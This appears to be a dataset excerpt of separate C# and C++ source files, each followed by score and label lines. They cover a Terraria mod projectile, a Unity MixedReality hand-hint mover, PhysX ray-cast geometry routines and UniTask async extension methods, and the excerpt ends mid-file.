using CalamityMod; using Microsoft.Xna.Framework; using Terraria; using Terraria.Audio; using Terraria.ID; using Terraria.ModLoader; namespace InfernumMode.Content.BehaviorOverrides.BossAIs.WallOfFlesh { public class CursedSoul : ModProjectile { public bool SoulOfNight { get => Projectile.ai[0] == 1f; set => Projectile.ai[0] = value.ToInt(); } public bool ShouldFloatUpward => Projectile.localAI[1] == 1f; public override void SetStaticDefaults() { // DisplayName.SetDefault("Soul"); Main.projFrames[Projectile.type] = 4; } public override void SetDefaults() { Projectile.width = Projectile.height = 26; Projectile.hostile = true; Projectile.tileCollide = false; Projectile.penetrate = -1; Projectile.timeLeft = 240; } public override void AI() { Lighting.AddLight(Projectile.Center, Color.WhiteSmoke.ToVector3()); Player target = Main.player[Player.FindClosest(Projectile.Center, 1, 1)]; Projectile.frameCounter++; Projectile.frame = Projectile.frameCounter / 4 % Main.projFrames[Projectile.type]; if (Projectile.ai[1] == 0f) { Projectile.spriteDirection = Main.rand.NextBool(2).ToDirectionInt(); SoulOfNight = Main.rand.NextBool(2); Projectile.ai[1] = 1f; Projectile.netUpdate = true; } if (ShouldFloatUpward) { Projectile.velocity.X *= Lerp(0.982f, 0.974f, Projectile.identity % 8f / 8f); if (Projectile.velocity.Y > -20f) Projectile.velocity.Y -= 0.24f; } else { if (Projectile.timeLeft > 190f) { Projectile.velocity = Vector2.Lerp(Projectile.velocity, -Vector2.UnitY * 8f, 0.05f); Projectile.rotation = Projectile.velocity.ToRotation() - PiOver2; } else if (Projectile.timeLeft > 160f) { Projectile.velocity = Vector2.Lerp(Projectile.velocity, Vector2.Zero, 0.05f).MoveTowards(Vector2.Zero, 0.1f); Projectile.rotation = Projectile.rotation.AngleLerp(Projectile.AngleTo(target.Center) - PiOver2, 0.12f); } float maxSpeed = SoulOfNight ? 14.25f : 12f; float acceleration = SoulOfNight ? 1.025f : 1.03f; if (Projectile.timeLeft == 160f) Projectile.velocity = Projectile.SafeDirectionTo(target.Center) * 3f; if (Projectile.timeLeft < 160f && Projectile.velocity.Length() < maxSpeed) Projectile.velocity *= acceleration; } if (Projectile.timeLeft < 25) Projectile.alpha = Utils.Clamp(Projectile.alpha + 13, 0, 255); else Projectile.alpha = Utils.Clamp(Projectile.alpha - 9, 0, 255); } public override Color? GetAlpha(Color lightColor) { return (SoulOfNight ? Color.Lerp(Color.MediumPurple, Color.Black, 0.6f) : Color.Wheat) * Projectile.Opacity; } public override void OnKill(int timeLeft) { Projectile.ExpandHitboxBy(60); Projectile.alpha = 0; Projectile.Damage(); SoundEngine.PlaySound(SoundID.NPCDeath39, Projectile.position); for (int i = 0; i < 36; i++) { Dust ectoplasm = Dust.NewDustPerfect(Projectile.Center, 267); ectoplasm.velocity = (TwoPi * i / 36f).ToRotationVector2() * 8f; ectoplasm.scale = 1.5f; ectoplasm.noGravity = true; ectoplasm.color = Projectile.GetAlpha(Color.White); } } } }
1
0.801434
1
0.801434
game-dev
MEDIA
0.992424
game-dev
0.96553
1
0.96553
microsoft/MixedReality-WorldLockingTools-Samples
5,758
Advanced/ASA/Assets/MRTK/SDK/Features/UX/Scripts/HandCoach/MoveToTarget.cs
using System.Collections; using UnityEngine; namespace Microsoft.MixedReality.Toolkit.UI.HandCoach { /// <summary> /// This class provides functionality to move the hand hint from a tracking position to a target position over time. /// </summary> public class MoveToTarget : MonoBehaviour { [Tooltip("Object to track.")] [SerializeField] private GameObject trackingObject = null; /// <summary> /// Object to track. /// </summary> public GameObject TrackingObject { get { return trackingObject; } set { trackingObject = value; } } [Tooltip("Target to move to.")] [SerializeField] private GameObject targetObject = null; /// <summary> /// Target to move to. /// </summary> public GameObject TargetObject { get { return targetObject; } set { targetObject = value; } } [Tooltip("Shared parent between tracking and target objects used for relative local positions.")] [SerializeField] private GameObject rootObject = null; /// <summary> /// Shared parent between tracking and target objects used for relative local positions. /// </summary> public GameObject RootObject { get { return rootObject; } set { rootObject = value; } } [Tooltip("Duration of move from tracking object to target object in seconds.")] [SerializeField] private float duration = 1.38f; /// <summary> /// Duration of move from tracking object to target object in seconds. /// </summary> public float Duration { get { return duration; } set { duration = value; } } [Tooltip("Tunable offset to get the GameObject to arrive at the right target position.")] [SerializeField] private Vector3 targetOffset = new Vector3(0f, 0f, 0f); /// <summary> /// Tunable offset to get the GameObject to arrive at the right target position. /// </summary> public Vector3 TargetOffset { get { return targetOffset; } set { targetOffset = value; } } [Tooltip("Lerp curve that controls the animation position over time from the trackingObject to the targetObject.")] [SerializeField] private AnimationCurve animationCurve = AnimationCurve.Linear(0f, 0f, 1f, 1f); /// <summary> /// Lerp curve that controls the animation position over time from the trackingObject to the targetObject. /// </summary> public AnimationCurve AnimationCurve { get { return animationCurve; } set { animationCurve = value; } } // The local position of this gameObject relative to the root object private Vector3 relativePositionTrackingToRoot; // The local position of targetObject relative to the root object private Vector3 relativeTargetPositionToRoot; // bool to determine when to stop the follow sequence private bool followingTargetObject; // Since this script can attach to an object with an animator, we need to update position in LateUpdate private void LateUpdate() { if (TargetObject != null && RootObject != null) { relativeTargetPositionToRoot = GetRelativeLocalPosition(TargetObject, RootObject) + TargetOffset; transform.parent.localPosition = relativePositionTrackingToRoot; } } /// <summary> /// Starts coroutine to lerp from current position to target position /// </summary> public void MoveToTargetPosition() { if (relativeTargetPositionToRoot != Vector3.zero) { followingTargetObject = false; StartCoroutine(MoveHintSequence()); } } private IEnumerator MoveHintSequence() { Vector3 origin = relativePositionTrackingToRoot; float t = 0; while (t <= Duration) { relativePositionTrackingToRoot = Vector3.Lerp(origin, relativeTargetPositionToRoot, AnimationCurve.Evaluate(t / Duration)); t += Time.deltaTime; yield return null; } } /// <summary> /// Starts coroutine to follow the target object. /// </summary> public void Follow() { if (TrackingObject != null && RootObject != null) { followingTargetObject = true; StartCoroutine(FollowSequence()); } } private IEnumerator FollowSequence() { while (followingTargetObject) { relativePositionTrackingToRoot = GetRelativeLocalPosition(TrackingObject, RootObject); yield return null; } } private Vector3 GetRelativeLocalPosition(GameObject input, GameObject root) { return input.transform.position - root.transform.position; } } }
1
0.937084
1
0.937084
game-dev
MEDIA
0.969207
game-dev
0.970757
1
0.970757
folgerwang/UnrealEngine
18,226
Engine/Source/ThirdParty/PhysX3/PhysX_3.4/Source/GeomUtils/src/GuRaycastTests.cpp
// This code contains NVIDIA Confidential Information and is disclosed to you // under a form of NVIDIA software license agreement provided separately to you. // // Notice // NVIDIA Corporation and its licensors retain all intellectual property and // proprietary rights in and to this software and related documentation and // any modifications thereto. Any use, reproduction, disclosure, or // distribution of this software and related documentation without an express // license agreement from NVIDIA Corporation is strictly prohibited. // // ALL NVIDIA DESIGN SPECIFICATIONS, CODE ARE PROVIDED "AS IS.". NVIDIA MAKES // NO WARRANTIES, EXPRESSED, IMPLIED, STATUTORY, OR OTHERWISE WITH RESPECT TO // THE MATERIALS, AND EXPRESSLY DISCLAIMS ALL IMPLIED WARRANTIES OF NONINFRINGEMENT, // MERCHANTABILITY, AND FITNESS FOR A PARTICULAR PURPOSE. // // Information and code furnished is believed to be accurate and reliable. // However, NVIDIA Corporation assumes no responsibility for the consequences of use of such // information or for any infringement of patents or other rights of third parties that may // result from its use. No license is granted by implication or otherwise under any patent // or patent rights of NVIDIA Corporation. Details are subject to change without notice. // This code supersedes and replaces all information previously supplied. // NVIDIA Corporation products are not authorized for use as critical // components in life support devices or systems without express written approval of // NVIDIA Corporation. // // Copyright (c) 2008-2017 NVIDIA Corporation. All rights reserved. // Copyright (c) 2004-2008 AGEIA Technologies, Inc. All rights reserved. // Copyright (c) 2001-2004 NovodeX AG. All rights reserved. #include "GuMidphaseInterface.h" #include "GuInternal.h" #include "PxSphereGeometry.h" #include "PxConvexMeshGeometry.h" #include "GuIntersectionRayCapsule.h" #include "GuIntersectionRaySphere.h" #include "GuIntersectionRayPlane.h" #include "GuHeightFieldUtil.h" #include "GuDistancePointSegment.h" #include "GuConvexMesh.h" #include "CmScaling.h" using namespace physx; using namespace Gu; ////////////////////////////////////////////////// raycasts ////////////////////////////////////////////////////////////////// PxU32 raycast_box(GU_RAY_FUNC_PARAMS) { PX_UNUSED(maxHits); PX_ASSERT(geom.getType() == PxGeometryType::eBOX); PX_ASSERT(maxHits && hits); const PxBoxGeometry& boxGeom = static_cast<const PxBoxGeometry&>(geom); const PxTransform& absPose = pose; PxVec3 localOrigin = rayOrigin - absPose.p; localOrigin = absPose.q.rotateInv(localOrigin); const PxVec3 localDir = absPose.q.rotateInv(rayDir); PxVec3 localImpact; PxReal t; PxU32 rval = rayAABBIntersect2(-boxGeom.halfExtents, boxGeom.halfExtents, localOrigin, localDir, localImpact, t); if(!rval) return 0; if(t>maxDist) return 0; hits->distance = t; //worldRay.orig.distance(hit.worldImpact); //should be the same, assuming ray dir was normalized!! hits->faceIndex = 0xffffffff; hits->u = 0.0f; hits->v = 0.0f; PxHitFlags outFlags = PxHitFlag::eDISTANCE; if((hitFlags & PxHitFlag::ePOSITION)) { outFlags |= PxHitFlag::ePOSITION; if(t!=0.0f) hits->position = absPose.transform(localImpact); else hits->position = rayOrigin; } // Compute additional information if needed if(hitFlags & PxHitFlag::eNORMAL) { outFlags |= PxHitFlag::eNORMAL; //Because rayAABBIntersect2 set t = 0 if start point inside shape if(t == 0) { hits->normal = -rayDir; } else { //local space normal is: rval--; PxVec3 n(0.0f); n[rval] = PxReal((localImpact[rval] > 0.0f) ? 1.0f : -1.0f); hits->normal = absPose.q.rotate(n); } } else { hits->normal = PxVec3(0.0f); } hits->flags = outFlags; return 1; } PxU32 raycast_sphere(GU_RAY_FUNC_PARAMS) { PX_UNUSED(maxHits); PX_ASSERT(geom.getType() == PxGeometryType::eSPHERE); PX_ASSERT(maxHits && hits); const PxSphereGeometry& sphereGeom = static_cast<const PxSphereGeometry&>(geom); if(!intersectRaySphere(rayOrigin, rayDir, maxDist, pose.p, sphereGeom.radius, hits->distance, &hits->position)) return 0; /* // PT: should be useless now hit.distance = worldRay.orig.distance(hit.worldImpact); if(hit.distance>maxDist) return false; */ // PT: we can't avoid computing the position here since it's needed to compute the normal anyway hits->faceIndex = 0xffffffff; hits->u = 0.0f; hits->v = 0.0f; // Compute additional information if needed PxHitFlags outFlags = PxHitFlag::eDISTANCE|PxHitFlag::ePOSITION; if(hitFlags & PxHitFlag::eNORMAL) { // User requested impact normal //Because intersectRaySphere set distance = 0 if start point inside shape if(hits->distance == 0.0f) { hits->normal = -rayDir; } else { hits->normal = hits->position - pose.p; hits->normal.normalize(); } outFlags |= PxHitFlag::eNORMAL; } else { hits->normal = PxVec3(0.0f); } hits->flags = outFlags; return 1; } PxU32 raycast_capsule(GU_RAY_FUNC_PARAMS) { PX_UNUSED(maxHits); PX_ASSERT(geom.getType() == PxGeometryType::eCAPSULE); PX_ASSERT(maxHits && hits); const PxCapsuleGeometry& capsuleGeom = static_cast<const PxCapsuleGeometry&>(geom); // TODO: PT: could we simplify this ? Capsule capsule; getCapsuleSegment(pose, capsuleGeom, capsule); capsule.radius = capsuleGeom.radius; PxReal t = 0.0f; if(!intersectRayCapsule(rayOrigin, rayDir, capsule, t)) return 0; if(t<0.0f || t>maxDist) return 0; // PT: we can't avoid computing the position here since it's needed to compute the normal anyway hits->position = rayOrigin + rayDir*t; // PT: will be rayOrigin for t=0.0f (i.e. what the spec wants) hits->distance = t; hits->faceIndex = 0xffffffff; hits->u = 0.0f; hits->v = 0.0f; // Compute additional information if needed PxHitFlags outFlags = PxHitFlag::eDISTANCE|PxHitFlag::ePOSITION; if(hitFlags & PxHitFlag::eNORMAL) { outFlags |= PxHitFlag::eNORMAL; if(t==0.0f) { hits->normal = -rayDir; } else { PxReal capsuleT; distancePointSegmentSquared(capsule, hits->position, &capsuleT); capsule.computePoint(hits->normal, capsuleT); hits->normal = hits->position - hits->normal; //this should never be zero. It should have a magnitude of the capsule radius. hits->normal.normalize(); } } else { hits->normal = PxVec3(0.0f); } hits->flags = outFlags; return 1; } PxU32 raycast_plane(GU_RAY_FUNC_PARAMS) { PX_UNUSED(hitFlags); PX_UNUSED(maxHits); PX_ASSERT(geom.getType() == PxGeometryType::ePLANE); PX_ASSERT(maxHits && hits); PX_UNUSED(geom); // const PxPlaneGeometry& planeGeom = static_cast<const PxPlaneGeometry&>(geom); // Perform backface culling so that we can pick objects beyond planes const PxPlane plane = getPlane(pose); if(rayDir.dot(plane.n)>=0.0f) return false; PxReal distanceAlongLine; if(!intersectRayPlane(rayOrigin, rayDir, plane, distanceAlongLine, &hits->position)) return 0; /* PxReal test = worldRay.orig.distance(hit.worldImpact); PxReal dd; PxVec3 pp; PxSegmentPlaneIntersect(worldRay.orig, worldRay.orig+worldRay.dir*1000.0f, plane, dd, pp); */ if(distanceAlongLine<0.0f) return 0; if(distanceAlongLine>maxDist) return 0; hits->distance = distanceAlongLine; hits->faceIndex = 0xffffffff; hits->u = 0.0f; hits->v = 0.0f; hits->flags = PxHitFlag::eDISTANCE|PxHitFlag::ePOSITION|PxHitFlag::eNORMAL; hits->normal = plane.n; return 1; } PxU32 raycast_convexMesh(GU_RAY_FUNC_PARAMS) { PX_UNUSED(maxHits); PX_ASSERT(geom.getType() == PxGeometryType::eCONVEXMESH); PX_ASSERT(maxHits && hits); PX_ASSERT(PxAbs(rayDir.magnitudeSquared()-1)<1e-4f); const PxConvexMeshGeometry& convexGeom = static_cast<const PxConvexMeshGeometry&>(geom); ConvexMesh* convexMesh = static_cast<ConvexMesh*>(convexGeom.convexMesh); PxRaycastHit& hit = *hits; //scaling: transform the ray to vertex space const Cm::Matrix34 world2vertexSkew = convexGeom.scale.getInverse() * pose.getInverse(); //ConvexMesh* cmesh = static_cast<ConvexMesh*>(convexGeom.convexMesh); const PxU32 nPolys = convexMesh->getNbPolygonsFast(); const HullPolygonData* PX_RESTRICT polysEA = convexMesh->getPolygons(); const HullPolygonData* polys = polysEA; const PxVec3 vrayOrig = world2vertexSkew.transform(rayOrigin); const PxVec3 vrayDir = world2vertexSkew.rotate(rayDir); /* Purely convex planes based algorithm Iterate all planes of convex, with following rules: * determine of ray origin is inside them all or not. * planes parallel to ray direction are immediate early out if we're on the outside side (plane normal is sep axis) * else - for all planes the ray direction "enters" from the front side, track the one furthest along the ray direction (A) - for all planes the ray direction "exits" from the back side, track the one furthest along the negative ray direction (B) if the ray origin is outside the convex and if along the ray, A comes before B, the directed line stabs the convex at A */ bool originInsideAllPlanes = true; PxReal latestEntry = -FLT_MAX; PxReal earliestExit = FLT_MAX; // PxU32 bestPolygonIndex = 0; hit.faceIndex = 0xffffffff; for(PxU32 i=0;i<nPolys;i++) { const HullPolygonData& poly = polys[i]; const PxPlane& vertSpacePlane = poly.mPlane; const PxReal distToPlane = vertSpacePlane.distance(vrayOrig); const PxReal dn = vertSpacePlane.n.dot(vrayDir); const PxReal distAlongRay = -distToPlane/dn; // PT: TODO: potential divide by zero here! // PT: TODO: this is computed again in the last branch! if(distToPlane > 0.0f) originInsideAllPlanes = false; //origin not behind plane == ray starts outside the convex. if(dn > 1E-7f) //the ray direction "exits" from the back side { earliestExit = physx::intrinsics::selectMin(earliestExit, distAlongRay); } else if(dn < -1E-7f) //the ray direction "enters" from the front side { if(distAlongRay > latestEntry) { latestEntry = distAlongRay; hit.faceIndex = i; } } else { //plane normal and ray dir are orthogonal if(distToPlane > 0.0f) return 0; //a plane is parallel with ray -- and we're outside the ray -- we definitely miss the entire convex! } } if(originInsideAllPlanes) //ray starts inside convex { hit.distance = 0.0f; hit.faceIndex = 0xffffffff; hit.u = 0.0f; hit.v = 0.0f; hit.position = rayOrigin; hit.normal = -rayDir; hit.flags = PxHitFlag::eDISTANCE|PxHitFlag::eNORMAL|PxHitFlag::ePOSITION; return 1; } // AP: changed to latestEntry < maxDist-1e-5f so that we have a conservatively negative result near end of ray if(latestEntry < earliestExit && latestEntry > 0.0f && latestEntry < maxDist-1e-5f) { PxHitFlags outFlags = PxHitFlag::eDISTANCE | PxHitFlag::eFACE_INDEX; if(hitFlags & PxHitFlag::ePOSITION) { outFlags |= PxHitFlag::ePOSITION; const PxVec3 pointOnPlane = vrayOrig + latestEntry * vrayDir; hit.position = pose.transform(convexGeom.scale.toMat33() * pointOnPlane); } hit.distance = latestEntry; hit.u = 0.0f; hit.v = 0.0f; hit.normal = PxVec3(0.0f); // Compute additional information if needed if(hitFlags & PxHitFlag::eNORMAL) { outFlags |= PxHitFlag::eNORMAL; //when we have nonuniform scaling we actually have to transform by the transpose of the inverse of vertex2worldSkew.M == transpose of world2vertexSkew: hit.normal = world2vertexSkew.rotateTranspose(polys[hit.faceIndex].mPlane.n); hit.normal.normalize(); } hit.flags = outFlags; return 1; } return 0; } PxU32 raycast_triangleMesh(GU_RAY_FUNC_PARAMS) { PX_ASSERT(geom.getType() == PxGeometryType::eTRIANGLEMESH); PX_ASSERT(PxAbs(rayDir.magnitudeSquared()-1)<1e-4f); const PxTriangleMeshGeometry& meshGeom = static_cast<const PxTriangleMeshGeometry&>(geom); TriangleMesh* meshData = static_cast<TriangleMesh*>(meshGeom.triangleMesh); return Midphase::raycastTriangleMesh(meshData, meshGeom, pose, rayOrigin, rayDir, maxDist, hitFlags, maxHits, hits); } namespace { struct HFTraceSegmentCallback { PX_NOCOPY(HFTraceSegmentCallback) public: PxRaycastHit* mHits; const PxU32 mMaxHits; PxU32 mNbHits; const HeightFieldUtil& mUtil; const PxTransform& mPose; const PxVec3& mRayDir; const PxVec3& mLocalRayDir; const PxVec3& mLocalRayOrig; const PxHitFlags mHitFlags; const bool mIsDoubleSided; HFTraceSegmentCallback( PxRaycastHit* hits, PxU32 maxHits, const PxHitFlags hitFlags, const HeightFieldUtil& hfUtil, const PxTransform& pose, const PxVec3& rayDir, const PxVec3& localRayDir, const PxVec3& localRayOrig, bool isDoubleSided) : mHits (hits), mMaxHits (maxHits), mNbHits (0), mUtil (hfUtil), mPose (pose), mRayDir (rayDir), mLocalRayDir (localRayDir), mLocalRayOrig (localRayOrig), mHitFlags (hitFlags), mIsDoubleSided (isDoubleSided) { PX_ASSERT(maxHits > 0); } PX_FORCE_INLINE bool onEvent(PxU32 , PxU32*) { return true; } PX_FORCE_INLINE bool underFaceHit(const HeightFieldUtil&, const PxVec3&, const PxVec3&, PxF32, PxF32, PxF32, PxU32) { return true; // true means continue traversal } PxAgain faceHit(const HeightFieldUtil&, const PxVec3& aHitPoint, PxU32 aTriangleIndex, PxReal u, PxReal v) { // traversal is strictly sorted so there's no need to sort hits if(mNbHits >= mMaxHits) return false; // false = stop traversal PxRaycastHit& hit = mHits[mNbHits++]; hit.position = aHitPoint; hit.faceIndex = aTriangleIndex; hit.u = u; hit.v = v; hit.flags = PxHitFlag::eUV | PxHitFlag::eFACE_INDEX; // UVs and face index are always set if(mHitFlags & PxHitFlag::eNORMAL) { // We need the normal for the dot product. PxVec3 normal = mPose.q.rotate(mUtil.getNormalAtShapePoint(hit.position.x, hit.position.z)); normal.normalize(); if(mIsDoubleSided && normal.dot(mRayDir) > 0.0f) // comply with normal spec for double sided (should always face opposite rayDir) hit.normal = -normal; else hit.normal = normal; hit.flags |= PxHitFlag::eNORMAL; } if(mHitFlags & PxHitFlag::eDISTANCE) { hit.distance = (hit.position - mLocalRayOrig).dot(mLocalRayDir); hit.flags |= PxHitFlag::eDISTANCE; } if(mHitFlags & PxHitFlag::ePOSITION) { hit.position = mPose.transform(hit.position); hit.flags |= PxHitFlag::ePOSITION; } return (mNbHits < mMaxHits); // true = continue traversal, false = stop traversal } }; } PxU32 raycast_heightField(GU_RAY_FUNC_PARAMS) { PX_ASSERT(geom.getType() == PxGeometryType::eHEIGHTFIELD); PX_ASSERT(maxHits && hits); PX_UNUSED(maxHits); const PxHeightFieldGeometry& hfGeom = static_cast<const PxHeightFieldGeometry&>(geom); const PxTransform invAbsPose = pose.getInverse(); const PxVec3 localRayOrig = invAbsPose.transform(rayOrigin); const PxVec3 localRayDir = invAbsPose.rotate(rayDir); const bool isDoubleSided = hfGeom.heightFieldFlags.isSet(PxMeshGeometryFlag::eDOUBLE_SIDED); const bool bothSides = isDoubleSided || (hitFlags & PxHitFlag::eMESH_BOTH_SIDES); const HeightFieldUtil hfUtil(hfGeom); PxVec3 normRayDir = localRayDir; normRayDir.normalizeSafe(); // nothing will happen if length is < PX_NORMALIZATION_EPSILON // pretest if we intersect HF bounds. If no early exit, if yes move the origin and shorten the maxDist // to deal with precision issues with large maxDist PxBounds3 hfLocalBounds; hfUtil.computeLocalBounds(hfLocalBounds); PxVec3 localImpact; PxReal t; // closest intersection, t==0 hit inside PxU32 rval = rayAABBIntersect2(hfLocalBounds.minimum, hfLocalBounds.maximum, localRayOrig, localRayDir, localImpact, t); // early exit we miss the AABB if (!rval) return 0; if (t > maxDist) return 0; // PT: if eMESH_ANY is used then eMESH_MULTIPLE won't be, and we'll stop the query after 1 hit is found. There is no difference // between 'any hit' and 'closest hit' for HFs since hits are reported in order. HFTraceSegmentCallback callback(hits, hitFlags.isSet(PxHitFlag::eMESH_MULTIPLE) ? maxHits : 1, hitFlags, hfUtil, pose, rayDir, localRayDir, localRayOrig, isDoubleSided); // make sure we return only 1 hit without eMESH_MULTIPLE PxReal offset = 0.0f; PxReal maxDistOffset = maxDist; PxVec3 localRayOrigOffset = localRayOrig; // if we don't start inside the AABB box, offset the start pos, because of precision issues with large maxDist if(t > 0.0f) { offset = t - GU_RAY_SURFACE_OFFSET; // move the rayOrig to offset start pos localRayOrigOffset = localRayOrig + normRayDir*offset; } // shorten the maxDist of the offset that was cut off and clip it // we pick either the original maxDist, if maxDist is huge we clip it maxDistOffset = PxMin(maxDist - offset, GU_RAY_SURFACE_OFFSET + 2.0f * PxMax(hfLocalBounds.maximum.x - hfLocalBounds.minimum.x, PxMax(hfLocalBounds.maximum.y - hfLocalBounds.minimum.y, hfLocalBounds.maximum.z - hfLocalBounds.minimum.z))); hfUtil.traceSegment<HFTraceSegmentCallback, false, false>(localRayOrigOffset, normRayDir, maxDistOffset, &callback, hfLocalBounds, !bothSides); return callback.mNbHits; } static PxU32 raycast_heightField_unregistered(GU_RAY_FUNC_PARAMS) { PX_UNUSED(geom); PX_UNUSED(pose); PX_UNUSED(rayOrigin); PX_UNUSED(rayDir); PX_UNUSED(maxDist); PX_UNUSED(hitFlags); PX_UNUSED(maxHits); PX_UNUSED(hits); Ps::getFoundation().error(PxErrorCode::eINVALID_OPERATION, __FILE__, __LINE__, "Height Field Raycast test called with height fields unregistered "); return 0; } ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // PT: table is not static because it's accessed as 'extern' within Gu (bypassing the function call). RaycastFunc gRaycastMap[PxGeometryType::eGEOMETRY_COUNT] = { raycast_sphere, raycast_plane, raycast_capsule, raycast_box, raycast_convexMesh, raycast_triangleMesh, raycast_heightField_unregistered }; // PT: the function is used by external modules (Np, CCT, Sq) const Gu::GeomRaycastTable& Gu::getRaycastFuncTable() { return gRaycastMap; } void registerHeightFields_Raycasts() { gRaycastMap[PxGeometryType::eHEIGHTFIELD] = raycast_heightField; }
1
0.890689
1
0.890689
game-dev
MEDIA
0.614384
game-dev,graphics-rendering
0.99373
1
0.99373
sunsvip/GF_X
29,944
Assets/Plugins/UniTask/Runtime/UniTaskExtensions.cs
#pragma warning disable CS1591 // Missing XML comment for publicly visible type or member using System; using System.Collections; using System.Runtime.ExceptionServices; using System.Threading; using System.Threading.Tasks; using Cysharp.Threading.Tasks.Internal; namespace Cysharp.Threading.Tasks { public static partial class UniTaskExtensions { /// <summary> /// Convert Task[T] -> UniTask[T]. /// </summary> public static UniTask<T> AsUniTask<T>(this Task<T> task, bool useCurrentSynchronizationContext = true) { var promise = new UniTaskCompletionSource<T>(); task.ContinueWith((x, state) => { var p = (UniTaskCompletionSource<T>)state; switch (x.Status) { case TaskStatus.Canceled: p.TrySetCanceled(); break; case TaskStatus.Faulted: p.TrySetException(x.Exception.InnerException ?? x.Exception); break; case TaskStatus.RanToCompletion: p.TrySetResult(x.Result); break; default: throw new NotSupportedException(); } }, promise, useCurrentSynchronizationContext ? TaskScheduler.FromCurrentSynchronizationContext() : TaskScheduler.Current); return promise.Task; } /// <summary> /// Convert Task -> UniTask. /// </summary> public static UniTask AsUniTask(this Task task, bool useCurrentSynchronizationContext = true) { var promise = new UniTaskCompletionSource(); task.ContinueWith((x, state) => { var p = (UniTaskCompletionSource)state; switch (x.Status) { case TaskStatus.Canceled: p.TrySetCanceled(); break; case TaskStatus.Faulted: p.TrySetException(x.Exception.InnerException ?? x.Exception); break; case TaskStatus.RanToCompletion: p.TrySetResult(); break; default: throw new NotSupportedException(); } }, promise, useCurrentSynchronizationContext ? TaskScheduler.FromCurrentSynchronizationContext() : TaskScheduler.Current); return promise.Task; } public static Task<T> AsTask<T>(this UniTask<T> task) { try { UniTask<T>.Awaiter awaiter; try { awaiter = task.GetAwaiter(); } catch (Exception ex) { return Task.FromException<T>(ex); } if (awaiter.IsCompleted) { try { var result = awaiter.GetResult(); return Task.FromResult(result); } catch (Exception ex) { return Task.FromException<T>(ex); } } var tcs = new TaskCompletionSource<T>(); awaiter.SourceOnCompleted(state => { using (var tuple = (StateTuple<TaskCompletionSource<T>, UniTask<T>.Awaiter>)state) { var (inTcs, inAwaiter) = tuple; try { var result = inAwaiter.GetResult(); inTcs.SetResult(result); } catch (Exception ex) { inTcs.SetException(ex); } } }, StateTuple.Create(tcs, awaiter)); return tcs.Task; } catch (Exception ex) { return Task.FromException<T>(ex); } } public static Task AsTask(this UniTask task) { try { UniTask.Awaiter awaiter; try { awaiter = task.GetAwaiter(); } catch (Exception ex) { return Task.FromException(ex); } if (awaiter.IsCompleted) { try { awaiter.GetResult(); // check token valid on Succeeded return Task.CompletedTask; } catch (Exception ex) { return Task.FromException(ex); } } var tcs = new TaskCompletionSource<object>(); awaiter.SourceOnCompleted(state => { using (var tuple = (StateTuple<TaskCompletionSource<object>, UniTask.Awaiter>)state) { var (inTcs, inAwaiter) = tuple; try { inAwaiter.GetResult(); inTcs.SetResult(null); } catch (Exception ex) { inTcs.SetException(ex); } } }, StateTuple.Create(tcs, awaiter)); return tcs.Task; } catch (Exception ex) { return Task.FromException(ex); } } public static AsyncLazy ToAsyncLazy(this UniTask task) { return new AsyncLazy(task); } public static AsyncLazy<T> ToAsyncLazy<T>(this UniTask<T> task) { return new AsyncLazy<T>(task); } /// <summary> /// Ignore task result when cancel raised first. /// </summary> public static UniTask AttachExternalCancellation(this UniTask task, CancellationToken cancellationToken) { if (!cancellationToken.CanBeCanceled) { return task; } if (cancellationToken.IsCancellationRequested) { task.Forget(); return UniTask.FromCanceled(cancellationToken); } if (task.Status.IsCompleted()) { return task; } return new UniTask(new AttachExternalCancellationSource(task, cancellationToken), 0); } /// <summary> /// Ignore task result when cancel raised first. /// </summary> public static UniTask<T> AttachExternalCancellation<T>(this UniTask<T> task, CancellationToken cancellationToken) { if (!cancellationToken.CanBeCanceled) { return task; } if (cancellationToken.IsCancellationRequested) { task.Forget(); return UniTask.FromCanceled<T>(cancellationToken); } if (task.Status.IsCompleted()) { return task; } return new UniTask<T>(new AttachExternalCancellationSource<T>(task, cancellationToken), 0); } sealed class AttachExternalCancellationSource : IUniTaskSource { static readonly Action<object> cancellationCallbackDelegate = CancellationCallback; CancellationToken cancellationToken; CancellationTokenRegistration tokenRegistration; UniTaskCompletionSourceCore<AsyncUnit> core; public AttachExternalCancellationSource(UniTask task, CancellationToken cancellationToken) { this.cancellationToken = cancellationToken; this.tokenRegistration = cancellationToken.RegisterWithoutCaptureExecutionContext(cancellationCallbackDelegate, this); RunTask(task).Forget(); } async UniTaskVoid RunTask(UniTask task) { try { await task; core.TrySetResult(AsyncUnit.Default); } catch (Exception ex) { core.TrySetException(ex); } finally { tokenRegistration.Dispose(); } } static void CancellationCallback(object state) { var self = (AttachExternalCancellationSource)state; self.core.TrySetCanceled(self.cancellationToken); } public void GetResult(short token) { core.GetResult(token); } public UniTaskStatus GetStatus(short token) { return core.GetStatus(token); } public void OnCompleted(Action<object> continuation, object state, short token) { core.OnCompleted(continuation, state, token); } public UniTaskStatus UnsafeGetStatus() { return core.UnsafeGetStatus(); } } sealed class AttachExternalCancellationSource<T> : IUniTaskSource<T> { static readonly Action<object> cancellationCallbackDelegate = CancellationCallback; CancellationToken cancellationToken; CancellationTokenRegistration tokenRegistration; UniTaskCompletionSourceCore<T> core; public AttachExternalCancellationSource(UniTask<T> task, CancellationToken cancellationToken) { this.cancellationToken = cancellationToken; this.tokenRegistration = cancellationToken.RegisterWithoutCaptureExecutionContext(cancellationCallbackDelegate, this); RunTask(task).Forget(); } async UniTaskVoid RunTask(UniTask<T> task) { try { core.TrySetResult(await task); } catch (Exception ex) { core.TrySetException(ex); } finally { tokenRegistration.Dispose(); } } static void CancellationCallback(object state) { var self = (AttachExternalCancellationSource<T>)state; self.core.TrySetCanceled(self.cancellationToken); } void IUniTaskSource.GetResult(short token) { core.GetResult(token); } public T GetResult(short token) { return core.GetResult(token); } public UniTaskStatus GetStatus(short token) { return core.GetStatus(token); } public void OnCompleted(Action<object> continuation, object state, short token) { core.OnCompleted(continuation, state, token); } public UniTaskStatus UnsafeGetStatus() { return core.UnsafeGetStatus(); } } #if UNITY_2018_3_OR_NEWER public static IEnumerator ToCoroutine<T>(this UniTask<T> task, Action<T> resultHandler = null, Action<Exception> exceptionHandler = null) { return new ToCoroutineEnumerator<T>(task, resultHandler, exceptionHandler); } public static IEnumerator ToCoroutine(this UniTask task, Action<Exception> exceptionHandler = null) { return new ToCoroutineEnumerator(task, exceptionHandler); } public static async UniTask Timeout(this UniTask task, TimeSpan timeout, DelayType delayType = DelayType.DeltaTime, PlayerLoopTiming timeoutCheckTiming = PlayerLoopTiming.Update, CancellationTokenSource taskCancellationTokenSource = null) { var 